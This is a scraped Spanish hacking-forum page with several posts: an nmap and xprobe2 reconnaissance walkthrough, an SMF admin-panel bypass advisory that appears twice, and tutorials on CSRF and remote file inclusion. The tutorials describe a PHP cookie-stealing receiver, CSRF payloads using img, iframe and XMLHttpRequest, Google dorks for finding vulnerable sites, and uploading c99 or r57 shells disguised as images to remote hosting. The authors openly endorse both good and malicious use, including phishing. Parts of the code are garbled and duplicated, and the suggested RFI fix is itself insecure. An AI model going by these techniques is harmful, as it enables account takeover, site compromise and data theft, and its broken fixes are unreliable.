UFF jajaja solo son algunos de los que puede dejar ok agregamos una regla que es lo que un servidor normal pues deberia tener ya que debe dejar la entrada de las ip's pero no en todos los caso ya que las reglas aplican a algunos puertos pero excluyen a muchos pero aprenderemos como sacar el mejor provecho posible... Ahora Vamos Y Realizamos:
[ go0ns@squad # nmap 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:28 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
1241/tcp open nessus
2500/tcp open rtsserv
MAC Address:Unknown)
Nmap done: 1 IP address (1 host up) scanned in 13.743 seconds
]
Ya tenemos identificado al menos lo inicial y miremos que tenemos como pudieron ver fue un scan bien basico solo los puertos /tcp como la mayoria de los scanners en la jungla esto scans son bien agresivos y siempre son agarrados por el firewall como vimos en el primer caso terminando por banear nuestra ip si el administrador tiene buenas reglas n el firewall:
#####################
#Puerto | Servicio #
#####################
#25/tcp | smpt #
#80/tcp | http #
#110/tcp | pop3 #
#1241/tcp| nessus #
#2500/tcp| rtsserv #
#####################
Bueno analizemos tenemos 5 puertos identificados de primera instancia que se gestionan bajo el protocolo /tcp si no teneis conocimiento sobre que es el protcolo /tcp u los otros protocolos similares /udp y cosas pues no continues leyendo e instruyete desde 0 mijo...
en fin con el scaneo sencillo identificamos solo esos puertos como pudieron apreciar que el log del scan nos indica tambien que se encontraron Not shown: 1710 closed ports que estan entiendase o cerrados o filtrados Huh entonces preguntaran de como es posible si es una herramienta de scaneo de puertos y servicios pero de esto se trata de poder hacer las identificaciones especificas..
ahora queremos saber que sistema operativo tiene siempre como root asumiendo que estais en linux (igual puede hacerlo desde el otro sistema operativo) xD ok, pues realizamos
[ go0ns@squad # nmap -O 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-26 23:32 GMT
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
1241/tcp open nessus
2500/tcp open rtsserv
MAC Address: (Unknown)
No exact OS matches for host (If you know what OS is running on it, see No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).
TCP/IP fingerprint:
OS:SCAN(V=4.60%D=6/26%OT=25%CT=1%CU=33422%PV=Y%DS=1%G=Y%M=007662%TM=4A455AA
OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC
OS:D=1%ISR=CD%TI=Z%II=I%TS=U)OPS(O1=M5B4%O2=M5B4%O3=M5B4%O4=M5B4%O5=M5B4%O6
OS:=M5B4)WIN(W1=16D0%W2=16D0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T
OS:=40%W=16D0%O=M5B4%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)
OS:T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=N)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUL
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DLI=S)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 28.029 seconds
]
Bueno pudieron apreciar que nmap reacciono casi de la misma manera que con el 2do intento con un scaneo de puertos sencillo en los protocolos /tcp pero en este caso usamos el argumento -O para scanear el posible sistema operativo, como funciona? nmap envia cadenas especializadas a dos puertos especificos uno cerrado y uno abierto, estolo hace con el proposito de que cada sistema operativo reacciona de manera diferente a estas peticiones y como pudieron ver el scanner tubo problemas descubriendo el server que como mencione antes era ubuntu 8.10 pero igual vean los primeros resultados que se acercan a lo que queremos:
[ OS:F%P=i686-pc-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CC%TI=Z%II=I%TS=U)SEQ(SP=CD%GC ]
Los comandos basicos de nmap los pueden ir encontrando poco a poco que tal si cambiamos un poco los comandos para que vallan haciendose una idea y familiarizandose con dicho programa y la manera que tenemos como siempre de llagar a nuestro objetivo en este caso usaremos un scaneo intensivo pero rapido que se supone que nos arroje los resultados mas imprecindibles..
[go0ns@squad # nmap -T Aggressive -A -v 192.168.56.1
Starting Nmap 4.60 ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ) at 2009-06-27 01:43 GMT
Initiating ARP Ping Scan at 01:43
Scanning 192.168.56.1 [1 port]
Completed ARP Ping Scan at 01:43, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:43
Completed Parallel DNS resolution of 1 host. at 01:43, 13.00s elapsed
Initiating SYN Stealth Scan at 01:43
Scanning 192.168.56.1 [1715 ports]
Discovered open port 25/tcp on 192.168.56.1
Discovered open port 80/tcp on 192.168.56.1
Discovered open port 110/tcp on 192.168.56.1
Discovered open port 2500/tcp on 192.168.56.1
Discovered open port 1241/tcp on 192.168.56.1
Completed SYN Stealth Scan at 01:43, 0.55s elapsed (1715 total ports)
Initiating Service scan at 01:43
Scanning 5 services on 192.168.56.1
Completed Service scan at 01:43, 11.47s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.1
SCRIPT ENGINE: Initiating script scanning.
Initiating SCRIPT ENGINE at 01:43
Completed SCRIPT ENGINE at 01:43, 5.05s elapsed
Host 192.168.56.1 appears to be up ... good.
Interesting ports on 192.168.56.1:
Not shown: 1710 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ SMTP: HELP with errors or timeout. Enable --script-trace to see what is happening.
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp open pop3 hotwayd pop3d 0.8.4
1241/tcp open ssl/unknown
2500/tcp open smtp-proxy hotsmtpd based on hotwayd 0.8.4
MAC Address: (Unknown)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.13 - 2.6.23
Uptime: 0.089 days (since Fri Jun 26 23:35:55 2009)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=201 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: go0ns.s3rver
Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at No tienes permitido ver los links. Registrarse o Entrar a mi cuenta .
Nmap done: 1 IP address (1 host up) scanned in 33.036 seconds
Raw packets sent: 1735 (77.100KB) | Rcvd: 1731 (80.266KB) ]
Uff que lectura mas larga pero vamos a ver que datos contiene que nos pueden ayudar y ya se habran dado de cuenta de la gran diferencia con los resultados y el cambio de Parametros.
Veamos primero el scan y estas opciones para ver lo que relativamente es importante antes de probar este de ahora tratamos de identificar el sistema operativo lo que realizo fue adivinar el sistema operativo pero esta vez logramos de dar con el mismo mas especificamente y dar con los servicios que gestiona el mismo como los deamons miremos:
[ PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_ SMTP: HELP with errors or timeout. Enable --script-trace to see what is happening.
80/tcp open http Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch)
|_ HTML title: Index of /
110/tcp open pop3 hotwayd pop3d 0.8.4
1241/tcp open ssl/unknown
2500/tcp open smtp-proxy hotsmtpd based on hotwayd 0.8.4 ]
Como podemos ver identifica nuevamente los puertos ya mencionados asi como los servicios y la version y magicamente identifica el sistema operativo que gestiona el server :
[ Apache httpd 2.2.9 ((Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch ]
Sonrisa y la otra parte relativamente importante es que identifica la version de los servicios aunque esto no es tan fundamental por que puede que sea un falso asi como uno correcto pero aqui es que llega la intuicion del auditor de usar la logica ya que puedes ir teoricamente buscando cual es la version real de dicho servicio con la identificacion del sistema operativo.
y que resume esto? que podemos darnos con el escenario que la aplicacion web no es vulnerable pero si los servicios o deamons del mismo y podemos vulnerarla por ahi xD ELEMENTAL NO?
por eso es que es bien importante los scaneos de identificacion por que de muchas maneras puedes encontrar las vulnerabilidades si no lo son a nivel web son a nivel server pero siempre encontraras algo.Sigamos
[ OS details: Linux 2.6.13 - 2.6.23 ]
Nos indica mas o menos el kernel que corre bajo el sistema operativo pero no siempre se da este caso del mismo las mayoria de las veces lo atina..
otra de las herramientas que podemos encontrar por la jungla de la web es xprobe2 para la identificacion de sistemas operativos veamos:
[ go0ns.squad # xprobe2 -v 192.168.56.1
* Primary guess:
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.22" (Guess probability: 100%)
* Other guesses:
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.23" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.21" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.20" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.19" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.24" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.25" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.26" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.27" (Guess probability: 100%)
* Host 192.168.56.1 Running OS: "Linux Kernel 2.4.28" (Guess probability: 100%)
* Cleaning up scan engine
* Modules deinitialized
* Execution completed ]
casi igual como nmap lo unico que este tiene tareas mas especificas en la identificacion de sistemas operativos y nos arroja el mismo resultado que muchas veces pued confundir pero a medida que vallan perfeccionando las tecnicas dan con los mismos.
Otra herramienta que nos puede ayudar en la identificacion de sistemas y objetivos de la informacion del mismo es Maltego que se puede descargar desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta con la que pueden sacar emails,directorios,archivos,dominios,sub dominios y otras cosas del servidor identificado.
entonces que es lo que quiero adentrar y detallar mas aqui solo queria explicarles que para identificar vulnerabilidades en un servidor no tienes primero que comenzar por la aplicacion web nesesariamente con tan solo con la identificacion misma del sistema puedes abrir muchas posibilidades a descubrir muchas mas cosas que solo las vulnerabilidades que tiene la web o el servidor...
si ya saben que pueden encontrar una aplicacion web en un servidor que no sea vulnerable que buscas por lados y no encuentras nadas pero se te olvido buscar los servicios que tiene el server pero cuando scaneas encuentras que tiene varios deamons que son vulnerables como el mencionado arriba que gestiona el correo postfix donde corre el servicio smpt y supongamos que ese servicio contiene un deamon que sea vulnerable a un buffer overflow o (desbordamiento) como quieran decirle entonces BINGO !!! haz encontrado algo al menos en mi servidor local solo hay muy ocos servicios gestionandose.
pero siempre alla fuera en la jungla encontrarn muchicimo mas como servicios de mysql,mssql,u otras cosas interesantes..
entonces siempre recuerden que la identificacion de sistemas es lo primero que debemos hacer a la hora de buscar vulnerabilidades en una web por que puedes llegar a encontrar puertas abiertas sin tener que registrar la aplicacion web y no te imaginas las posibilidades que hay dentro del mismo..
si si te preguntas SE PUEDE USAR NMAP PARA BUSCAR VULNERABILIDADES? no y si por que no te identificara las vulnes de primera instancia pero realiza algunas cadenas de reglas como metodos de scan que te audarian a identificar servicios sin actualizacion vulnerables a algunos ataques..
espero que esta breve explicacion sobre la importancia de la identificacion y puertos de un sistema les haya gustado ya Breve Pasamos al proximo Paper y Aqui les dejo una listita de algunas herramientas que te ayudarian en este renglon:
nmap
Zenmap
Amap
Maltego
httprint
unicornscan
xprobe
son herramientas con usos similares pero les pueden acomodar tareas especificas para sacarle provecho...
Greetz: JosS,alevsk,ANTRAX,h4n0wars,e-r00t.org,security-shell members,Darvein,y mis hijos por crecer tan rapido carajo xD..
###########
#blood_rec#
###########
#29
Bugs y Exploits / SMF .htaccess ByPass
Febrero 24, 2010, 03:26:19 PM
SMF .htaccess ByPass
Discovered by Seph1roth on June 2007 (was priv8)
#
# Vulnerable: Simple Machine Forum [ALL Versions]
#
# Visit: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Best hacking site.
#
# Description:
If smf has index.php?action=admin in .htaccess ,i can bypass that by typing in the url some variable of administration panel :
example:
index.php?action=admin (.htaccess,then access denied)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)
...and others...
i can bypass and enter the administration by typing the accessible variables in the url...
# Greets to all BlackRoots Users
#
# Shoutz to all kiddies
#
# ./end
-------------------
Traduccion rapidita:
Vulnerable: Simple Machine Forum [Todas las Versiones]
# Description:
si el smf tiene .htaccess en index.php?action=admin, se puede bypasear escribiendo en la url una variable dentro del panel de administracion.
Ejemplo:
index.php?action=admin (.htaccess, DENEGADO)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)
Bytes
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Discovered by Seph1roth on June 2007 (was priv8)
#
# Vulnerable: Simple Machine Forum [ALL Versions]
#
# Visit: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Best hacking site.
#
# Description:
If smf has index.php?action=admin in .htaccess ,i can bypass that by typing in the url some variable of administration panel :
example:
index.php?action=admin (.htaccess,then access denied)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)
...and others...
i can bypass and enter the administration by typing the accessible variables in the url...
# Greets to all BlackRoots Users
#
# Shoutz to all kiddies
#
# ./end
-------------------
Traduccion rapidita:
Vulnerable: Simple Machine Forum [Todas las Versiones]
# Description:
si el smf tiene .htaccess en index.php?action=admin, se puede bypasear escribiendo en la url una variable dentro del panel de administracion.
Ejemplo:
index.php?action=admin (.htaccess, DENEGADO)
index.php?action=membergroups (accessible)
index.php?action=news (accessible)
index.php?action=featuresettings (accessible)
Bytes
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#30
Bugs y Exploits / [Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]
Febrero 24, 2010, 03:24:51 PMInicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits
1.) Presentación
2.) Que es CSRF
3.) Quien descubrió la vulnerabilidad CSRF
4.) CSRF y Xss
5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits
6.) Testeando vulnerabilidad CSRF y programas el code vulnerable
7.) Sacando una conclusión a todo
8.) Como cuidar nuestra Web de este tipo de ataques
9.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
2.) Que es CSRF
Bueno como muchos quizás han leído en la wikipedia ya csrf representa a
Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo
Así No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.
Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde
Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}
Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.
3.) Quien descubrió la vulnerabilidad CSRF
En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un
Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso
Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada
En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado
Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.
Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta solo lo logre traducir...
4.) CSRF y Xss
Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad
Es parecida o igual a xss.
Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio
Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.
El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario...
4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits
Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.
Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...
- ROBO DE COOKIES EN XSS
Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code
no filtre bien el contenido que se le asigne.
Para algunos que no entienden lo de es cuando dentro del agregariamos un link como y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).
Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)
PD: Este code no es mio es de Chebyte. Pero esto es basico...
Bueno, le explicare el code para quienes no lo entiendan:
$cookie = $_REQUEST[cookie] : El que recibe la cookie
$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura
fput($file, "$cookie\n") : Muestra la cookie
fclose($file) : Cierra
Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:
Y Tachan! tienes la cookie...
Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:
1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking
2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..
3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona
4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP
5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]
5. SCRIPT KIDDIE: Hacking MSN -.-"
Ahora pasaremos a hablar del CSRF clasico:
- XSRF/CSRF Clasico
Bueno ahora usaremos una forma de XSRF clasico, pero no de robo si no de CAMBIO de datos, que seria primero como dije probar si el server es vulnerable a JAVASCRIPT, o si no filtra bien el contenido de los BBCODES, o los inputs mal programados, o tambien podriamos atacar normal, sin que el usuario sepa que es un ataque.
Podriamos atacar sin que la victima sepa que es malo asi (dependiendo de la pagina):
Como dije depende de la web, SI EL SITE NO TIENE AL CAMBIAR DATOS, REPITE EL EMAIL o CONTRASEÑA es vulnerable y tambien de los input "name=NOMBRE" del site. La victima no sabe que le hemos cambiado el email...
Tambien si al cambiar datos salga un link como este:
CitarNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Es super hiper mega vulnerable ya que notamos que no dice en el link a cambiar: PASSANTERIOR o EMAILANTERIOR... y que pasa si le mandamos un MP (Mensaje Privado) depende claro si es un foro con un link como este:
Man vota por mi
Y al hacer click en cualquiera de los ejemplos los datos han sido cambiados..
Espero que les haya gustado mi parte en este bonito tutorial creado por mi bro ShadinessDark y puedan entender la diferencia entre XSS (El robo de cookies) y CSRF...
Mis saludos a:
ShadinessDark, KuTer, _84kur10_, k4mus23, Jeferx, D4NB4R, Darki113r, ChEk0_Hack, DestruKci0oN, Xianur0, Zer0 Z0orG, Zer0-R00t, x_jeshua, ZH4RK, zonithack, Bashettzx, Crazyhacker16, krisium, tkdead, MaNditOo, loreValdy, wscalle1 y todos mis grandes amigos =P...
Saludos a Pandora's Box Team..
5.)Testeando vulnerabilidad CSRF y programas el code vulnerable
Los ataques csrf lo reproducen por etiquetas HTML/JAVASCRIPT o una
Imagen, daré un breve ejemplo:
Un ejemplo nos envían un correo electrónico o un MP en algún foro cuyo propósito
Del atacante es que al darle clic realiza una solicitud a una URL del atacante les Mostrare un ejemplo:
Por ejemplo usando una imagen src.
<img src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">
Script
<script src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">
Casi siempre se usan los IFRAME
<iframe src="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta">
Los ejemplos de arribas son dados con HTML ahora les doy el ejemplo de los de Javascript
<script>
var foo = new Image(); var foo = new Image ();
foo.src = "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</script>
También se puede hacer por XHTML pero hay que usar IE y bueno esa no se las explicare en este tutorial y si quieren me avisan y bueno lo modifico, Claro que existen muchas formas Vbscript – Actionscript – HTML – Javascript - JScript y otros que utilizan de marcado en los navegadores de los usuarios que hacen
Realizar peticiones REMOTAS.
¿Cambiando datos de la victima?
Bueno este breve codigo es solo un pequeño ejemplo:
<script>
var post_data = 'name=value'; post_data var = 'nombre = valor';
var xmlhttp=new XMLHttpRequest(); var xmlhttp = new XMLHttpRequest ();
xmlhttp.open("POST", 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta', true); No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ( "POST", "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ', true);
xmlhttp.onreadystatechange = function () { xmlhttp.onreadystatechange = function () (
if (xmlhttp.readyState == 4) if (xmlhttp.readyState == 4)
{ (
alert(xmlhttp.responseText); alert (xmlhttp.responseText);
} )
}; );
xmlhttp.send(post_data); xmlhttp.send (post_data);
</script> </ script>
Como podemos ver en este código hacemos una petición a POST
Acuérdense que arriba les comente que cuando el atacante usa un código
Malicioso hace una petición en Get. Post y HTTP ¿Se acuerdan? Espero y me vayan entendiendo...
¿A dónde se dirige esta petición?
Bueno esta petición se dirige a la base de datos del sitio me explico
Cada vez que hacemos cambios extremos en nuestro perfil todo pasa
Por una base de datos bueno cuando la victima le da clic a la url enviada
Por el atacante hace una petición en la base de datos y cambia los datos de la cuenta
De la victima de confianza por el atacante ¿Me van entendiendo a que se debe este ataque?
7.) Sacando una conclusión a todo.
Mirando la lógica a todo este ataque se basa en un código malicioso que es muy usado, HTML Y Javascript.
Es un tipo de ataque que por parte de HTML usamos la etiqueta src y en javascript Usamos la misma etiqueta este ataque es basado en darle clic a un vinculo al Redireccionar la Web y cargar cambia la información que de nuestro usuario.
Haciendo una petición en la base de datos del código del atacante...
8.) Como cuidar nuestra Web de este tipo de ataques
Primero que nada vamos a nuestro FTP introducimos nuestros datos y entramos a la Carpeta public_html o donde este el archivo index.php le añadiremos algo que diga
'Actualcontraseña' Antes de seguir el código que pondré es sacado de la siguiente pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Después que estemos en el index.php introduciremos este código con el Actualcontraseña esto tiene que ir dentro de <?php...
Luego buscamos el archive que se llama Config.php lo pueden encontrar
Por el mismo FTP y le agregamos lo siguiente:
En el archive datos.php usaremos lo siguiente:
Ahora vamos a nuestro panel entramos a PHPMYADMIN ósea a nuestro phpmyadmin
Y le damos donde dice Consulta y introducen el siguiente código:
9.) Despedida
Bueno señores ya hemos terminado este tutorial quizás muchos no entendieron
Y otros si me entendieron traten de hacer lo mejor por dar una buena explicación
Pero recuerden que no todo se pone tan fácil, Bueno en este tutorial compartí gran
Parte con mi hermano zero bits que su parte quedo maravillosa lo se porque lo lei
Me gustan las críticas así que espero las críticas tutorial escrito a mano todo los derechos del autor reservados y los códigos no todos son nuestros por eso hemos
Puesto en algunos la fuente les deseo un gran fin de semana...
No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato...
Group's Ethical.
Zero Bits
#31
Bugs y Exploits / [Tutorial] RFI By ShadinessDark
Febrero 24, 2010, 03:24:23 PMTutorial remote file inclusion
1.) Presentación
2.) Que es RFI
3.) Dorks RFI
4.) Testeando la vulnerabilidad
5.) Sacando una conclusión a todo
6.) Como cuidar nuestra Web de este tipo de ataques
7.) Despedida
1.) Presentación
Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red...
¿Por qué diferente?
Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados
¿A que se debe este tutorial?
Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?
Los saludos más especiales para mis compañeros:
Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz
2.) Que es RFI
RFI tiene como nombre Remote File Inclusión en español inclusión remota de archivo
Como ya saben que dice en la wikipedia esta vulnerabilidad se encuentra en páginas
Dinámicas ósea echas en PHP no en todo tipo de Web como saben siempre es depende
Del buen programador esta vulnerabilidad se encuentra en include() casi siempre
Buscamos en los códigos de fuentes por eso es bueno estar pendiente de nuestra Programación cuando tenemos un sitio Web, Un atacante puede inyectar su código
En un programa PHP en su servidor, Cuando acceden al servidor pueden acceder a Cualquier que tiene el programa PHP por ejemplo:
Base de datos
Archivos de contraseña
Y otras cosas
Pueden instalar sus propios servidores que lo ejecutan con los privilegios de la victima
Del servidor Web como {apache o httpd} Y si el servidor no lo han modificado en algunos locales de la vulnerabilidad de escalada de privilegios el atacante que monto
La shell puede ser usada para convertirse en root...
3.) Dorks RFI
Con un dork podemos conseguir las vulnerabilidades al azar con solo visitar
Www.Google.com y poner lo siguiente:
/index.inc.php?PATH_Includes=
/ashnews.php?pathtoashnews=
Uno de estos dos les servirá si no visiten No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
4.) Testeando la vulnerabilidad
Bueno ya hemos encontrado una Web ahora vamos a testearla haber si es vulnerable
Primero que nada muchas veces esto se encuentra con solo revisar en los códigos de Fuente siempre se encuentra lo siguiente:
Recordemos que esta vulnerabilidad se presenta cuando se intenta meter una página
Remota adentro de la otra y se utilizan lo códigos que di como ejemplo cuando se Encuentra la Vulnerabilidad.include() lo que hace es incluir una pagina remota por ejemplo $Bugdox
Se puede utilizar una url bajo argumento y eso es lo que hace explotar RFI por ejemplo:
tenemos ?ejemplo.php cuando el atacante introduce su codigo malicioso.
Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg
Al ejecutar esto en la Web de la victima ¿Qué pasa? No recoge ejemplo.php
Si no que el sistema agarra la url maligna que es la que le da una CONEXIÓN REMOTA que es cuando introducimos nuestra shell ¿Me entienden?.Un atacante
Puede saber controlar las variables de PHP se hace mediante:
Cuando register_globals esta habilitado en PHP el lenguaje automagicamente
Hace una instancia con los valores de las variables de la petición en http, y los pone
En el espacio de nombres del programa PHP.
Cuando se activa se le permite a un atacante inyectar un valor para cualquier variable Sin inicializar en cualquier programa solo el atacante añade un parámetro GET al final De la url es decir después de "="
Ejemplo hemos entrado en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta hemos mirado el código de fuente
Hemos observado que tiene include() hacemos la prueba:
Resulta que al darle clic nos redirección a GOOGLE de una vez ya sabemos que la Web Es vulnerable a RFI.
Luego que encontramos nuestra Web vulnerable buscamos nuestra SHELL
Ya sea c99 o r57 y hay otras mas.
Buscamos un hosting gratuito que soporte PHP y guardamos nuestra shell en un
Jpg.php o con gif.php no importa el formato porque tampoco que vamos a poner
Cualquier formato a veces muchas Web no permiten extracciones como gif y otras...
5.) Sacando una conclusión a todo
Como pueden ver la lógica rfi no es muy difícil es un ataque muy básico
Trata de que No tienes permitido ver los links. Registrarse o Entrar a mi cuenta es la Web vulnerable bugdox.php esta es la que
Incluirá el redireccionamiento ?ejemplo= Esta es la que le permite a un atacante
Introducir códigos maliciosos por ejemplo la SHELL y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este sitio es el que almacena la shell...
6.) Como cuidar nuestra Web de este tipo de ataques
Para evitar este tipo de ataques en nuestros sitios podemos ir al FTP y buscar
La configuración index.php lo editamos y agregamos lo siguiente:
Antes de continuar este CODIGO de seguridad no es hecho por mi lo pueden ver
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta...
Codigo:
if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "El acceso a este lugar lo tiene denegado o no existe";
}
Ejemplo de codigo:
echo "El acceso a este lugar lo tiene denegado o no existe";
Este if funciona de la manera que si al colocar:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No te redireccionara si no que te dirá El acceso a este lugar lo tiene desnegado o no Existe pero si por ejemplo agregamos:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y si existe pasara normalmente sin dar el error para que no de el Error este archivo debe existir.
7.) Despedida
